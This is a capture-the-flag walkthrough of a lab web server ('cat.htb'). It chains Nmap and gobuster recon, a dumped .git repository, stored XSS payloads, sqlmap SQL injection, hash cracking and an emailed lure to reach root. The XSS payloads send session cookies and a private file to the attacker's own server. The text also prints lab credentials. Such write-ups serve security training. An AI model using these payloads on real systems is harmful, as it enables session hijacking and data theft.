Overview

This box focuses on web application vulnerabilities, specifically Cross-Site Scripting (XSS
) and SQL Injection
, leading to privilege escalation. We start with an Nmap scan to identify open ports and services. We then enumerate the web application, discovering an exposed Git repository and an XSS vulnerability in the cat registration feature. Exploiting the XSS allows us to capture an admin session cookie, granting access to an administrative panel. From there, we identify and exploit a SQL Injection vulnerability to dump user credentials, which leads to SSH access as a low-privileged user. Finally, we leverage another XSS vulnerability within a local Gitea instance, triggered by an internal mail service, to compromise a higher-privileged user and obtain the root flag.
10.10.11.53
1. Kicking Off with Nmap
As always, we start with an nmap
scan to see what services are running on the target.
root@localhost:~# sudo nmap -sVC -oA nmap/cat 10.10.11.53 -vv
Nmap 7.95 scan initiated Thu Jul 3 22:46:57 2025 as: /usr/lib/nmap/nmap -sVC -oA nmap/cat -vv 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up, received echo-reply ttl 63 (0.055s latency).
Scanned at 2025-07-03 22:46:57 EDT for 9s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/7/gBYFf93Ljst5b58XeNKd53hjhC57SgmM9qFvMACECVK0r/Z11ho0Z2xy6i9R5dX2G/HAlIfcu6i2QD9lILOnBmSaHZ22HCjjQKzSbbrnlcIcaEZiE011qtkVmtCd2e5zeVUltA9WCD69pco7BM29OU7FlnMN0iRlF8u962CaRnD4jni/zuiG5C2fcrTHWBxc/RIRELrfJpS3AjJCgEptaa7fsH/XfmOHEkNwOL0ZK0/tdbutmcwWf9dDjV6opyg4IK73UNIJSSak0UXHcCpv0GduF3fep3hmjEwkBgTg/EeZO1IekGssI7yCr0VxvJVz/Gav+snOZ/A1inA5EMqYHGK07B41+0rZo+EZZNbuxlNw/YLQAGuC5tOHt896wZ9tnFeqp3CpFdm2rPGUtFW0jogdda1pRmRy5CNQTPDd6kdtdrZYKqHIWfURmzqva7byzQ1YPjhI22cQ49M79A0yf4yOCPrGlNNzeNJkeZM/LU6p7rNJKxE9CuBAEoyh0=
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEmL+UFD1eC5+aMAOZGipV3cuvXzPFlhqtKj7yVlVwXFN92zXioVTMYVBaivGHf3xmPFInqiVmvsOy3w4TsRja4=
| 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEOCpb672fivSz3OLXzut3bkFzO4l6xH57aWuSu4RikE
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 3 22:47:06 2025 -- 1 IP address (1 host up) scanned in 9.39 seconds
The scans reveal port 22/tcp
which is SSH and a web server on 80/tcp
using Apache. Nmap confirms this is a Linux (Ubuntu) machine.
The HTTP service on port 80 shows a redirect to cat.htb
, so we should add this to our /etc/hosts
file.
root@localhost:~# echo "10.10.11.53 cat.htb" | sudo tee -a /etc/hosts
2. Gaining Initial Access
Footprinting & Exploring the Site
Visiting http://cat.htb/
in a browser, we see a website dedicated to a cat competition.

Wappalyzer
confirms the site is running Apache HTTP Server on Ubuntu and uses PHP.

Exploring the site:
-
The Vote page (http://cat.htb/vote.php) indicates voting is closed and buttons are unresponsive.
-
The Contest page redirects to http://cat.htb/join.php, where we can register a new user.
-
After registering, we can access
contest.php
to register a cat, which involves providing a cat name, age, birthdate, weight, and photo. This looks like a potential area for vulnerabilities like XSS or file upload exploits. -
But assumptions can lead us into
rabbithole
. Let’s try to recon.
Web Enumeration
We run gobuster
to enumerate directories and files on the web server.
root@localhost:~# gobuster dir -u http://cat.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cat.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 301) [Size: 301] [--> http://cat.htb/.git/]
/.git/HEAD (Status: 200) [Size: 23]
/.git/config (Status: 200) [Size: 92]
/.git/logs/ (Status: 403) [Size: 272]
/.git/index (Status: 200) [Size: 1726]
/.htaccess (Status: 403) [Size: 272]
/.htpasswd (Status: 403) [Size: 272]
/.hta (Status: 403) [Size: 272]
/admin.php (Status: 302) [Size: 1] [--> /join.php]
/css (Status: 301) [Size: 300] [--> http://cat.htb/css/]
/img (Status: 301) [Size: 300] [--> http://cat.htb/img/]
/index.php (Status: 200) [Size: 3075]
/server-status (Status: 403) [Size: 272]
/uploads (Status: 301) [Size: 304] [--> http://cat.htb/uploads/]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
The gobuster
scan reveals an exposed .git/
repository and an admin.php
page that redirects to join.php
. We’ll focus on the .git
directory and keep admin.php
in mind.
We also run gobuster
with the -x php
flag and a larger wordlist to find more PHP files.
root@localhost:~# gobuster dir -u http://cat.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cat.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 272]
/admin.php (Status: 302) [Size: 1] [--> /join.php]
/.html (Status: 403) [Size: 272]
...SNIP...
Subdomain Enumeration
We perform subdomain enumeration using ffuf
to ensure we don’t miss any hidden attack vectors.
root@localhost:~# ffuf -u http://cat.htb/ -H 'Host: FUZZ.cat.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -fl 10
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cat.htb/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.cat.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 10
________________________________________________
:: Progress: [19966/19966] :: Job [1/1] :: 716 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
The subdomain scan returns no interesting results.
Dumping .git/ using git-dumper
We dump the exposed .git
repository to analyze its contents.
root@localhost:~# mkdir git-dump; git-dumper http://cat.htb/ git-dump/
[-] Testing http://cat.htb/.git/HEAD [200]
[-] Testing http://cat.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://cat.htb/.gitignore [404]
[-] Fetching http://cat.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://cat.htb/.git/COMMIT_EDITMSG [200]
[-] http://cat.htb/.gitignore responded with status code 404
[-] Fetching http://cat.htb/.git/description [200]
[-] Fetching http://cat.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://cat.htb/.git/hooks/post-commit.sample [404]
...SNIP...
[-] Running git checkout .
After dumping the repository, we list the files to see what we’ve obtained.
root@localhost:~# ls git-dump/
accept_cat.php admin.php config.php contest.php css delete_cat.php img img_winners index.php join.php logout.php view_cat.php vote.php winners winners.php
Analyzing the source code, we find a potential XSS vulnerability in contest.php
where the owner_username
from the session is inserted into the database without proper sanitization. This username is then displayed in view_cat.php
.
// contest.php
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
} else {
if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
// Prepare SQL query to insert cat data
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
// Bind parameters
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
// Execute query
if ($stmt->execute()) {
$success_message = "Cat has been successfully sent for inspection.";
} else {
$error_message = "Error: There was a problem registering the cat.";
}
} else {
$error_message = "Error: There was a problem uploading the file.";
}
}
}
And then in the view_cat.php
file, this parameter is retrieved and displayed:
// Get the cat_id from the URL
$cat_id = isset($_GET['cat_id']) ? $_GET['cat_id'] : null;
if ($cat_id) {
// Prepare and execute the query
$query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
$statement = $pdo->prepare($query);
$statement->bindParam(':cat_id', $cat_id, PDO::PARAM_INT);
$statement->execute();
// Fetch cat data from the database
$cat = $statement->fetch(PDO::FETCH_ASSOC);
if (!$cat) {
die("Cat not found.");
}
} else {
die("Invalid cat ID.");
}
Exploiting XSS to get Admin Session
We’ll register a new user with an XSS payload in the username, designed to exfiltrate the PHPSESSID
cookie.
<img src=x onerror=this.src="http://<YOUR IP>:<PORT>/"+btoa(document.cookie)>
First, we set up a simple Python web server to capture the exfiltrated cookie.
root@localhost:~# php -S 0.0.0.0:80
[Thu Jul 3 23:40:54 2025] PHP 8.4.8 Development Server (http://0.0.0.0:80) started
We register a new account on http://cat.htb/join.php
using the XSS payload as the username and any valid email/password.

Then, we log in with the newly registered XSS user and navigate to contest.php
to register a cat. This action triggers the XSS, as the owner_username
(containing our payload) is processed.

On our PHP web server, we capture the base64 encoded cookie:
root@localhost:~# php -S 0.0.0.0:80
[Thu Jul 3 23:40:54 2025] PHP 8.4.8 Development Server (http://0.0.0.0:80) started
[Fri Jul 4 00:02:23 2025] 10.10.11.53:36812 [200]: GET /UEhQU0VTU0lEPXM0YWcyaWpkMDA0cWg2YTJwbzMxZm1jNThj
[Fri Jul 4 00:02:23 2025] 10.10.11.53:36812 Closing
[Fri Jul 4 00:02:23 2025] 10.10.11.53:36818 Accepted
[Fri Jul 4 00:02:23 2025] 10.10.11.53:36818 [200]: GET /UEhQU0VTU0lEPXM0YWcyaWpkMDA0cWg2YTJwbzMxZm1jNThj
We decode the captured cookie:
root@localhost:~# echo "UEhQU0VTU0lEPTduOTFkcmVnanFqZ2lhdWIzdG9ocGhhcGMy" | base64 -d
PHPSESSID=7n91dregjqjgiaub3tohphapc2
We then use the browser’s developer console to change our PHPSESSID
cookie to the captured value:

After refreshing the site, we gain access to the admin panel:

SQL Injection
-
From the dumped source code,
config.php
reveals that the application uses SQLite:
-
Further analysis of
accept_cat.php
shows a SQL Injection vulnerability in thecatName
parameter.
-
We intercept a request to
accept_cat.php
using Burp Suite and save it to a file namedaccepet_cat.req
:
root@localhost:~# cat accepet_cat.req
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=dfvc101c10h4bv5nihmdnkp300
Priority: u=0
catName=awdaw&catId=1
We use sqlmap
to exploit the SQL Injection vulnerability in the catName
parameter:
root@localhost:~# sqlmap -r accepet_cat.req --batch -p catName --level 5 --risk 3
___
__H__
___ ___[.]_____ ___ ___ {1.9.4#stable}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:07:26 /2025-07-05/
[11:07:26] [INFO] parsing HTTP request from 'accepet_cat.req'
[11:07:26] [INFO] resuming back-end DBMS 'sqlite'
[11:07:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName=kayden'||(SELECT CHAR(69,121,66,110) WHERE 3182=3182 AND 5253=5253)||'&catId=1
---
[11:07:27] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[11:07:27] [INFO] fetched data logged to text files under '/home/gen/.local/share/sqlmap/output/cat.htb'
[*] ending @ 11:07:27 /2025-07-05/
Confirming the SQL Injection, we proceed to dump the database tables:
root@localhost:~# sqlmap -r accepet_cat.req --batch -p catName --level 5 --risk 3 --tables
___
__H__
___ ___[)]_____ ___ ___ {1.9.4#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:09:16 /2025-07-05/
[11:09:16] [INFO] parsing HTTP request from 'accepet_cat.req'
[11:09:16] [INFO] resuming back-end DBMS 'sqlite'
[11:09:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName=kayden'||(SELECT CHAR(69,121,66,110) WHERE 3182=3182 AND 5253=5253)||'&catId=1
---
[11:09:16] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[11:09:16] [INFO] fetching tables for database: 'SQLite_masterdb'
[11:09:16] [INFO] fetching number of tables for database 'SQLite_masterdb'
[11:09:16] [INFO] resumed: 4
[11:09:16] [INFO] resumed: accepted_cats
[11:09:16] [INFO] resumed: sqlite_sequence
[11:09:16] [INFO] resumed: cats
[11:09:16] [INFO] resumed: users
[4 tables]
+-----------------+
| accepted_cats |
| cats |
| sqlite_sequence |
| users |
+-----------------+
[11:09:16] [INFO] fetched data logged to text files under '/home/gen/.local/share/sqlmap/output/cat.htb'
[*] ending @ 11:09:16 /2025-07-05/
The users
table is of particular interest. We dump its contents:
root@localhost:~# sqlmap -r accepet_cat.req --batch -p catName --level 5 --risk 3 -T users --dump
__
__H__
___ ___["]_____ ___ ___ {1.9.4#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:10:58 /2025-07-05/
[11:10:58] [INFO] parsing HTTP request from 'accepet_cat.req'
[11:10:58] [INFO] resuming back-end DBMS 'sqlite'
[11:10:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName=kayden'||(SELECT CHAR(69,121,66,110) WHERE 3182=3182 AND 5253=5253)||'&catId=1
---
[11:10:58] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
...SNIP...
Database: Table: users
[10 entries]
...SNIP...
The dump reveals 10 user entries. We extract the usernames and hashes into a username:password
format:
user_id | password | username | |
1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f | axel |
2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c | rosa |
3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert |
4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
5 | jerrysonC343@gmail.com | 781593e060f8d065cd7281c5ec5b4b86 | jerryson |
6 | larryP5656@gmail.com | 1b6dce240bbfbc0905a664ad199e18f8 | larry |
7 | royer.royer2323@gmail.com | c598f6b844a36fa7836fba0835f1f6 | royer |
8 | peterCC456@gmail.com | e41ccefa439fc454f7eadbf1f139ed8a | peter |
9 | angel234g@gmail.com | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel |
10 | jobert2020@gmail.com | 88e4dceccd48820cf77b5cf6c08698ad | jobert |
root@localhost:~# grep -E '\|[[:space:]]*[0-9]+[[:space:]]*\|' dump.txt | awk -F '|' '{for(i=1;i<=NF;i++)gsub(/^[ \t]+|[ \t]+$/, "", $i); if(NF>=5 && $5!="") print $5 ":" $4}' | tee hashes.txt
axel:d1bbba3670feb9435c9841e46e60ee2f
rosa:ac369922d560f17d6eeb8b2c7dec498c
robert:42846631708f69c00ec0c0a8aa4a92ad
fabian:39e153e825c4a3d314a0dc7f7475ddbe
jerryson:781593e060f8d065cd7281c5ec5b4b86
larry:1b6dce240bbfbc0905a664ad199e18f8
royer:c598f6b844a36fa7836fba0835f1f6
peter:e41ccefa439fc454f7eadbf1f139ed8a
angel:24a8ec003ac2e1b3c5953a6f95f8f565
We extract only the hashes to use with an online cracker like CrackStation.
root@localhost:~# cat hashes.txt | awk -F: '{print $2}'
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
Submitting these hashes to CrackStation, we find one cracked password:

We identify the user associated with the cracked hash:
root@localhost:~# cat hashes.txt| grep ac369922d560f17d6eeb8b2c7dec498c
rosa:ac369922d560f17d6eeb8b2c7dec498c
The cracked password belongs to rosa
. We attempt to SSH into the box as rosa
:
root@localhost:~# ssh rosa@cat.htb
The authenticity of host 'cat.htb (10.10.11.53)' can't be established.
ED25519 key fingerprint is SHA256:tsmOV3JuQkCv6HNUqg9YQ+DJznLS2nYKJl4zIwKtbE4.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:22: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cat.htb' (ED25519) to the list of known hosts.
rosa@cat.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat 05 Jul 2025 03:31:27 PM UTC
System load: 0.01
Usage of /: 51.9% of 6.06GB
Memory usage: 16%
Swap usage: 0%
Processes: 236
Users logged in: 0
IPv4 address for eth0: 10.10.11.53
IPv6 address for eth0: dead:beef::250:56ff:feb0:bb1a
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sat Sep 28 15:44:52 2024 from 192.168.1.64
rosa@cat:~$
We have successfully gained SSH access as rosa
.
User Flag
Upon logging in as rosa
, we check the user’s group memberships using the id
command:
rosa@cat:~$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)
The rosa
user is part of the adm
group. This group typically has permissions to read system log files and other administrative files. Since Apache is running on the server, we check its access logs for interesting information:
rosa@cat:~$ head -5 /var/log/apache2/access.log
127.0.0.1 - - [05/Jul/2025:15:04:49 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:49 +0000] "GET /css/styles.css HTTP/1.1" 200 1155 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:49 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:50 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [05/Jul/2025:15:04:50 +0000] "GET / HTTP/1.1" 200 1436 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
The logs show a login attempt by user axel
with a password. We check if axel
is a system user.
rosa@cat:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash
User axel
exists. We attempt to switch user to axel
using the password found in the logs.
rosa@cat:~$ su - axel
Password:
axel@cat:~$ cat user.txt
fa36b2c0a19c890b16baae817657e4b8
Privilege Escalation to Root
From the /etc/passwd
file, we noticed a git
user, which suggests a local Git hosting service. We check the listening ports on the server.
axel@cat:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
LISTEN 0 37 127.0.0.1:55923 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 1 127.0.0.1:36727 0.0.0.0:*
LISTEN 0 128 127.0.0.1:48983 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
Port 3000
is listening locally, which is a common port for Gitea. Port 25
(SMTP) is also open. When we SSH as axel
, we notice a mail notification.
root@localhost:~# ssh axel@cat.htb
axel@cat.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)
...SNIP...
You have mail.
Last login: Fri Jan 31 11:31:57 2025 from 10.10.14.69
axel@cat:~$
Reading axel
’s mail reveals details about an internal Gitea service running on localhost:3000
.
axel@cat:~$ cat /var/mail/axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path:
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for ; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path:
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for ; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
The mail indicates that jobert@localhost
will review a Gitea repository, and provides a link to an “Employee management” repository: http://localhost:3000/administrator/Employee-management/
.
We forward port 3000
from the target to our local machine via SSH.
root@localhost:~# ssh -L 3000:127.0.0.1:3000 axel@cat.htb
axel@cat.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)
...SNIP...
-
Now, we can access
http://localhost:3000
in our browser. The Gitea instance shows three users when exploring.
-
Logging in as
axel
with his password, we notice the Gitea version is1.22.0
in the footer.
-
Searching for exploits for
Gitea 1.22.0
, we find aStored XSS
vulnerability.
-
The XSS vulnerability can be exploited by injecting a payload into the repository description. We aim to extract the
index.php
file from theEmployee-management
repository, as the email suggestedjobert
would review the repository.
We craft an XSS payload to fetch the content of http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php
and send it to our local web server.
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.15.7:1234/?x='+encodeURIComponent(d)))">Click</a>
We create a new repository in Gitea (e.g., HALLO
) and paste the XSS payload into the Description field, ensuring “Initialize this repository with a README.md” is checked.

Next, we send an email to jobert@localhost
with a link to our malicious repository, knowing that jobert
will likely click it to review.
axel@cat:~$ echo -e "Subject: Hello, click here http://localhost:3000/axel/HALLO" | sendmail jobert@localhost
On our Python web server (listening on port 1234
), we receive the exfiltrated index.php
content.
root@localhost:~# python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.11.53 - - [05/Jul/2025 12:10:15] "GET /?x=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A
Decoding the URL-encoded content reveals the PHP source code for index.php
:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
The code reveals credentials for an “Employee Management” system: admin
:IKw75eR0MR7CMIxhH0
. We attempt to switch user to root
using this password.
axel@cat:~$ su - root
Password:
root@cat:~# cat root.txt
11fad706f903f0c73a5c66aa2dbd4d2c